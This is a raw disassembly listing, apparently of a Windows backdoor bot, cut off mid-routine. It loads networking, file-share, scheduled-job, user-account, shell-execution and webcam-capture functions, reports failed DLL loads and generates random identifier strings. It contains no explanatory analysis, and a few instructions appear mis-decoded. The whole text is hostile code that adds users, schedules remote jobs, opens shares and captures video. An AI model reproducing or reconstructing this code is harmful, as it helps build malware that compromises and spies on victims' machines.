		jz	short loc_40A2E7
		cmp	dword_4CAFF4, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB008, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFBC, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF7C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFD0, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF8C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFCC, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB038, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF84, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF48, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFB8, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB028, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF5C, ebx
		jz	short loc_40A2E7
		cmp	eax, ebx
		jnz	short loc_40A2F1
		jmp	short loc_40A2E7
; ---------------------------------------------------------------------------

loc_40A2DC:				; CODE XREF: sub_409B12+51Fj
		nop
		call	near ptr 2690DF2h
		mov	dword_4CB088, eax

loc_40A2E7:				; CODE XREF: sub_409B12+6BEj
					; sub_409B12+6CAj ...
		mov	dword_4CB084, 1

loc_40A2F1:				; CODE XREF: sub_409B12+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A3F6
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CAEE0, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CAE68, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CAF6C, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CAF18, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CAF78, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CAF3C, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CAEA8, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CAEA0, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CAEB0, eax
		call	esi
		cmp	dword_4CAEE0, ebx
		mov	ecx, dword_4CAF3C
		mov	dword_4CAFD8, eax
		jz	short loc_40A3D2
		cmp	dword_4CAE68, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAF6C, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAF18, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAF78, ebx
		jz	short loc_40A3D2
		cmp	ecx, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAEA8, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAEA0, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAEB0, ebx
		jz	short loc_40A3D2
		cmp	eax, ebx
		jnz	short loc_40A3DC

loc_40A3D2:				; CODE XREF: sub_409B12+87Ej
					; sub_409B12+886j ...
		mov	dword_4CB08C, 1

loc_40A3DC:				; CODE XREF: sub_409B12+8BEj
		cmp	ecx, ebx
		jz	short loc_40A411
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4CAF54, eax
		jnz	short loc_40A411
		jmp	short loc_40A40B
; ---------------------------------------------------------------------------

loc_40A3F6:				; CODE XREF: sub_409B12+7EAj
		call	near ptr 2690DF2h
		nop
		mov	dword_4CB090, eax
		mov	dword_4CB08C, 1

loc_40A40B:				; CODE XREF: sub_409B12+8E2j
		mov	dword_4CAF54, ebx

loc_40A411:				; CODE XREF: sub_409B12+8CCj
					; sub_409B12+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A45B
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CAF2C, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CB05C, eax
		call	esi
		cmp	dword_4CAF2C, ebx
		mov	dword_4CAEBC, eax
		jz	short loc_40A466
		cmp	dword_4CB05C, ebx
		jz	short loc_40A466
		cmp	eax, ebx
		jnz	short loc_40A470
		jmp	short loc_40A466
; ---------------------------------------------------------------------------

loc_40A45B:				; CODE XREF: sub_409B12+90Aj
		nop
		call	near ptr 2690DF2h
		mov	dword_4CB098, eax

loc_40A466:				; CODE XREF: sub_409B12+939j
					; sub_409B12+941j ...
		mov	dword_4CB094, 1

loc_40A470:				; CODE XREF: sub_409B12+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A577
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CAE98, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CAE70, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CAEE8, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CAF1C, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CB034, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CAED0, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CAE7C, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CAE6C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CAF04, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CAFFC, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CAFB4, eax
		call	esi
		cmp	dword_4CAE98, ebx
		mov	dword_4CAED8, eax
		jz	short loc_40A582
		cmp	dword_4CAE70, ebx
		jz	short loc_40A582
		cmp	dword_4CAEE8, ebx
		jz	short loc_40A582
		cmp	dword_4CAF1C, ebx
		jz	short loc_40A582
		cmp	dword_4CB034, ebx
		jz	short loc_40A582
		cmp	dword_4CAED0, ebx
		jz	short loc_40A582
		cmp	dword_4CAE7C, ebx
		jz	short loc_40A582
		cmp	dword_4CAE6C, ebx
		jz	short loc_40A582
		cmp	dword_4CAF04, ebx
		jz	short loc_40A582
		cmp	dword_4CAFFC, ebx
		jz	short loc_40A582
		cmp	dword_4CAFB4, ebx
		jnz	short loc_40A58C
		jmp	short loc_40A582
; ---------------------------------------------------------------------------

loc_40A577:				; CODE XREF: sub_409B12+969j
		nop
		call	near ptr 2690DF2h
		mov	dword_4CB0A0, eax

loc_40A582:				; CODE XREF: sub_409B12+A11j
					; sub_409B12+A19j ...
		mov	dword_4CB09C, 1

loc_40A58C:				; CODE XREF: sub_409B12+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5C1
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CAEC0, eax
		call	esi
		cmp	dword_4CAEC0, ebx
		mov	dword_4CAF9C, eax
		jz	short loc_40A5CC
		cmp	eax, ebx
		jnz	short loc_40A5D6
		jmp	short loc_40A5CC
; ---------------------------------------------------------------------------

loc_40A5C1:				; CODE XREF: sub_409B12+A85j
		nop
		call	near ptr 2690DF2h
		mov	dword_4CB0A8, eax

loc_40A5CC:				; CODE XREF: sub_409B12+AA7j
					; sub_409B12+AADj
		mov	dword_4CB0A4, 1

loc_40A5D6:				; CODE XREF: sub_409B12+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A60B
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CB020, eax
		call	esi
		cmp	dword_4CB020, ebx
		mov	dword_4CB01C, eax
		jz	short loc_40A616
		cmp	eax, ebx
		jnz	short loc_40A620
		jmp	short loc_40A616
; ---------------------------------------------------------------------------

loc_40A60B:				; CODE XREF: sub_409B12+ACFj
		call	near ptr 2690DF2h
		nop
		mov	dword_4CB0B0, eax

loc_40A616:				; CODE XREF: sub_409B12+AF1j
					; sub_409B12+AF7j
		mov	dword_4CB0AC, 1

loc_40A620:				; CODE XREF: sub_409B12+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A67F
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CB04C, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CB044, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CB00C, eax
		call	esi
		cmp	dword_4CB04C, ebx
		mov	dword_4CAEDC, eax
		jz	short loc_40A68A
		cmp	dword_4CB044, ebx
		jz	short loc_40A68A
		cmp	dword_4CB00C, ebx
		jz	short loc_40A68A
		cmp	eax, ebx
		jnz	short loc_40A694
		jmp	short loc_40A68A
; ---------------------------------------------------------------------------

loc_40A67F:				; CODE XREF: sub_409B12+B19j
		call	near ptr 2690DF2h
		nop
		mov	dword_4CB0B8, eax

loc_40A68A:				; CODE XREF: sub_409B12+B55j
					; sub_409B12+B5Dj ...
		mov	dword_4CB0B4, 1

loc_40A694:				; CODE XREF: sub_409B12+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A6C9
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CAF10, eax
		call	esi
		cmp	dword_4CAF10, ebx
		mov	dword_4CB018, eax
		jz	short loc_40A6D4
		cmp	eax, ebx
		jnz	short loc_40A6DE
		jmp	short loc_40A6D4
; ---------------------------------------------------------------------------

loc_40A6C9:				; CODE XREF: sub_409B12+B8Dj
		nop
		call	near ptr 2690DF2h
		mov	dword_4CB0C0, eax

loc_40A6D4:				; CODE XREF: sub_409B12+BAFj
					; sub_409B12+BB5j
		mov	dword_4CB0BC, 1

loc_40A6DE:				; CODE XREF: sub_409B12+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A767
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CAFE0, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CB02C, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CAF68, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CAF20, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CAFC0, eax
		call	esi
		cmp	dword_4CAFE0, ebx
		mov	dword_4CAF30, eax
		jz	short loc_40A772
		cmp	dword_4CB02C, ebx
		jz	short loc_40A772
		cmp	dword_4CAF68, ebx
		jz	short loc_40A772
		cmp	dword_4CAF20, ebx
		jz	short loc_40A772
		cmp	dword_4CAFC0, ebx
		jz	short loc_40A772
		cmp	eax, ebx
		jnz	short loc_40A77C
		jmp	short loc_40A772
; ---------------------------------------------------------------------------

loc_40A767:				; CODE XREF: sub_409B12+BD7j
		nop
		call	near ptr 2690DF2h
		mov	dword_4CB0C8, eax

loc_40A772:				; CODE XREF: sub_409B12+C2Dj
					; sub_409B12+C35j ...
		mov	dword_4CB0C4, 1

loc_40A77C:				; CODE XREF: sub_409B12+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A7B1
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CAEF4, eax
		call	esi
		cmp	dword_4CAEF4, ebx
		mov	dword_4CAFD4, eax
		jz	short loc_40A7BC
		cmp	eax, ebx
		jnz	short loc_40A7C6
		jmp	short loc_40A7BC
; ---------------------------------------------------------------------------

loc_40A7B1:				; CODE XREF: sub_409B12+C75j
		nop
		call	near ptr 2690DF2h
		mov	dword_4CB0D0, eax

loc_40A7BC:				; CODE XREF: sub_409B12+C97j
					; sub_409B12+C9Dj
		mov	dword_4CB0CC, 1

loc_40A7C6:				; CODE XREF: sub_409B12+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409B12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7CE	proc near		; CODE XREF: sub_401ACD+2536p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CB064, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A816
		push	dword_4CB068
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A816:				; CODE XREF: sub_40A7CE+1Aj
		cmp	dword_4CB06C, esi
		jz	short loc_40A84A
		push	dword_4CB070
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A84A:				; CODE XREF: sub_40A7CE+4Ej
		cmp	dword_4CB074, esi
		jz	short loc_40A87E
		push	dword_4CB078
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A87E:				; CODE XREF: sub_40A7CE+82j
		cmp	dword_4CB07C, esi
		jz	short loc_40A8B2
		push	dword_4CB080
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A8B2:				; CODE XREF: sub_40A7CE+B6j
		cmp	dword_4CB084, esi
		jz	short loc_40A8E6
		push	dword_4CB088
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A8E6:				; CODE XREF: sub_40A7CE+EAj
		cmp	dword_4CB08C, esi
		jz	short loc_40A91A
		push	dword_4CB090
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A91A:				; CODE XREF: sub_40A7CE+11Ej
		cmp	dword_4CB094, esi
		jz	short loc_40A94E
		push	dword_4CB098
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A94E:				; CODE XREF: sub_40A7CE+152j
		cmp	dword_4CB09C, esi
		jz	short loc_40A982
		push	dword_4CB0A0
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A982:				; CODE XREF: sub_40A7CE+186j
		cmp	dword_4CB0A4, esi
		jz	short loc_40A9B6
		push	dword_4CB0A8
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A9B6:				; CODE XREF: sub_40A7CE+1BAj
		cmp	dword_4CB0AC, esi
		jz	short loc_40A9EA
		push	dword_4CB0B0
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A9EA:				; CODE XREF: sub_40A7CE+1EEj
		cmp	dword_4CB0B4, esi
		jz	short loc_40AA1E
		push	dword_4CB0B8
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40AA1E:				; CODE XREF: sub_40A7CE+222j
		cmp	dword_4CB0BC, esi
		jz	short loc_40AA52
		push	dword_4CB0C0
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40AA52:				; CODE XREF: sub_40A7CE+256j
		cmp	dword_4CB0C4, esi
		jz	short loc_40AA86
		push	dword_4CB0C8
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40AA86:				; CODE XREF: sub_40A7CE+28Aj
		cmp	dword_4CB0CC, esi
		jz	short loc_40AABA
		push	dword_4CB0D0
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40AABA:				; CODE XREF: sub_40A7CE+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D364
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40AAE7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_40AAE7:				; CODE XREF: sub_40A7CE+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A7CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAF9	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5C95p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CAFE4
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40AB21
		push	[esp+arg_0]
		call	dword_4CB028
		test	eax, eax
		jnz	short loc_40AB1A
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_40AB1A:				; CODE XREF: sub_40AAF9+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40AB21:				; CODE XREF: sub_40AAF9+Dj
		retn
sub_40AAF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB22	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CAEC0
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AB30
		call	ecx

locret_40AB30:				; CODE XREF: sub_40AB22+Aj
		retn
sub_40AB22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB31	proc near		; CODE XREF: sub_401ACD:loc_403F5Dp

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CB020
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40ABF7
		sub	ecx, 32h
		jz	loc_40ABF0
		sub	ecx, 48h
		jz	short loc_40AB91
		sub	ecx, 6Eh
		jz	short loc_40AB8A

loc_40AB73:				; CODE XREF: sub_40AB31+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42D578
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40ABD1
; ---------------------------------------------------------------------------

loc_40AB8A:				; CODE XREF: sub_40AB31+40j
		push	offset unk_42D554
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------

loc_40AB91:				; CODE XREF: sub_40AB31+3Bj
		push	[ebp+var_8]
		call	sub_41B4D5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41B590
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40ABBE
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CB020
		cmp	eax, edi
		jz	short loc_40ABF7
		jmp	short loc_40AB73
; ---------------------------------------------------------------------------

loc_40ABBE:				; CODE XREF: sub_40AB31+79j
		push	offset unk_42D524

loc_40ABC3:				; CODE XREF: sub_40AB31+5Ej
					; sub_40AB31+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_40ABD1:				; CODE XREF: sub_40AB31+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_4151AC
		pop	ecx

loc_40ABE1:				; CODE XREF: sub_40AB31+C8j
					; sub_40AB31+DCj
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40ABF0:				; CODE XREF: sub_40AB31+32j
		push	offset unk_42D4F4
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------

loc_40ABF7:				; CODE XREF: sub_40AB31+29j
					; sub_40AB31+89j
		cmp	[esi], edi
		jbe	short loc_40ABE1
		lea	ebx, [esi+4]

loc_40ABFE:				; CODE XREF: sub_40AB31+DAj
		push	ebx
		call	dword_4CB01C
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40ABFE
		jmp	short loc_40ABE1
sub_40AB31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC0F	proc near		; CODE XREF: sub_401ACD+2247p
					; sub_401ACD+2398p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF48
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CB0D4
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41B886
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AC0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC68	proc near		; CODE XREF: sub_412B08+24Cp
					; sub_412B08+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AC91
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]

loc_40AC84:				; CODE XREF: sub_40AC68+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AC84
		pop	edi
		jmp	short loc_40AC95
; ---------------------------------------------------------------------------

loc_40AC91:				; CODE XREF: sub_40AC68+Aj
		mov	edx, [esp+4+arg_0]

loc_40AC95:				; CODE XREF: sub_40AC68+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AC9F
		movzx	ecx, byte ptr [edx]
		add	eax, ecx

loc_40AC9F:				; CODE XREF: sub_40AC68+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AC68	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ACB5	proc near		; CODE XREF: sub_40B08D+49p
					; DATA XREF: ___:off_42D5C0o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	near ptr 26A0DE3h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42D628[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD1D

loc_40ACF7:				; CODE XREF: sub_40ACB5+66j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B494
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACF7

loc_40AD1D:				; CODE XREF: sub_40ACB5+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40ACB5	endp

; ---------------------------------------------------------------------------
		dw 5756h
		db 90h
		db 0E8h, 0B9h, 60h
; ---------------------------------------------------------------------------
		sub	[edx], eax
		push	eax
		call	sub_41B8D8
		mov	edi, [esp+10h]
		mov	dword ptr [esp], offset	asc_42913C ; "-"
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD7B

loc_40AD55:				; CODE XREF: ___:0040AD79j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B494
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AD55

loc_40AD7B:				; CODE XREF: ___:0040AD53j
		mov	eax, edi
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AD80	proc near		; CODE XREF: sub_401ACD+69CCp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	near ptr 26A0DE3h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ADC3

loc_40ADAD:				; CODE XREF: sub_40AD80+41j
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
